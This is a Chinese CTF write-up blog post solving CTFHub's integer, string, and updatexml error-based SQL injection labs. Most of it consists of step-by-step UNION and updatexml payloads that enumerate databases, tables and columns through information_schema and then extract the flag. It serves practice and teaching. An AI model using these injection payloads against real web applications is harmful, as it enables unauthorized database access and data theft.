CTFHub-Web-sql注入练习(一)

前言

sql注入用到的一些相关函数

函数描述
table_schema数据库名
table_name表名
column_name列名
information_schema.schemata包含所有数据库的名
information_schema.tables包含所有库的表名
information_schema.columns包含所有表的字段
group_concat()函数功能将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

整数型注入

1.判断注入
输入1
在这里插入图片描述
输入?id=1 and 1=1,正常回显
在这里插入图片描述
输入?id=1 and 1=2,返回错误。
在这里插入图片描述

2.判断字段数

?id=1 order by 2 时回显正常,当?id=1 order by 3时无回显,所以字段数为2
在这里插入图片描述
3.爆数据库名,当前数据库名为sqli

Payload: ?id=1 and 1=2 union select 1,database()

在这里插入图片描述

4.爆表名,有两个表,一个是news,另外一个是flag

Payload: ?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

在这里插入图片描述

5.爆字段名,字段名为flag

Payload: ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

在这里插入图片描述

6.爆值,flag就出来了

Payload: ?id=1 and 1=2 union select 1,group_concat(flag) from flag

在这里插入图片描述

字符型注入

1.判断注入
输入1,发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
在这里插入图片描述
正常回显

Payload: ?id=1' and '1'='1

在这里插入图片描述
返回错误

Payload: ?id=1' and '1'='2

在这里插入图片描述

我们可以用#闭注释掉单引号,输入1' and 1=1#,正常回显
在这里插入图片描述

2.判断字段数

输入1' order by 2 # 正常回显,输入1' order by 3# 返回错误,所以字段数为2
在这里插入图片描述
3.爆数据库名,得到数据库名sqli

Payload: ?id=1' and 1=2 union select 1,database()#

在这里插入图片描述

4.爆表名,得到两个表名 news,flag

Payload: ?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

在这里插入图片描述

5.爆字段名,字段名flag

Payload: ?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

在这里插入图片描述
6.爆值

Payload: ?id=1' and 1=2 union select 1,group_concat(flag) from flag#

在这里插入图片描述

报错注入

百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入,最常用到的三种报错注入方式分别是:updatexml()floor()extractvalue()
太菜了,看了下大师傅们的wp,发现这道题就是利用updatexml()函数进行报错注入

updatexml()语法:

UPDATEXML (XML_document, XPath_string, new_value);
参数描述
XML_documentXML_document是String格式,为XML文档对象的名称,文中为Doc
XPath_stringXPath_string (Xpath格式的字符串) ,xpath报错只显示32位结果
new_valuenew_value,String格式,替换查找到的符合条件的数据

updatexml的报错原理

updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。

使用updatexml报错注入固定格式:

payload:?id=a'and(updatexml("anything",concat('~',(select语句())),"anything"))

concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在这里插入图片描述

爆库名,查到数据库名为sqli

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

在这里插入图片描述
爆字段,一个news,一个flag

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1));

在这里插入图片描述

爆字段名,字段名为flag

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1));

在这里插入图片描述
爆值

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));

在这里插入图片描述
好像只有一部分flag,这个时候就用到了mid()函数
在这里插入图片描述
使用mid函数来进行字符截取,来显示另外一半flag。

Payload: ?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));

在这里插入图片描述

posted @ 2020-11-15 12:54  atkx  阅读(225)  评论(0编辑  收藏  举报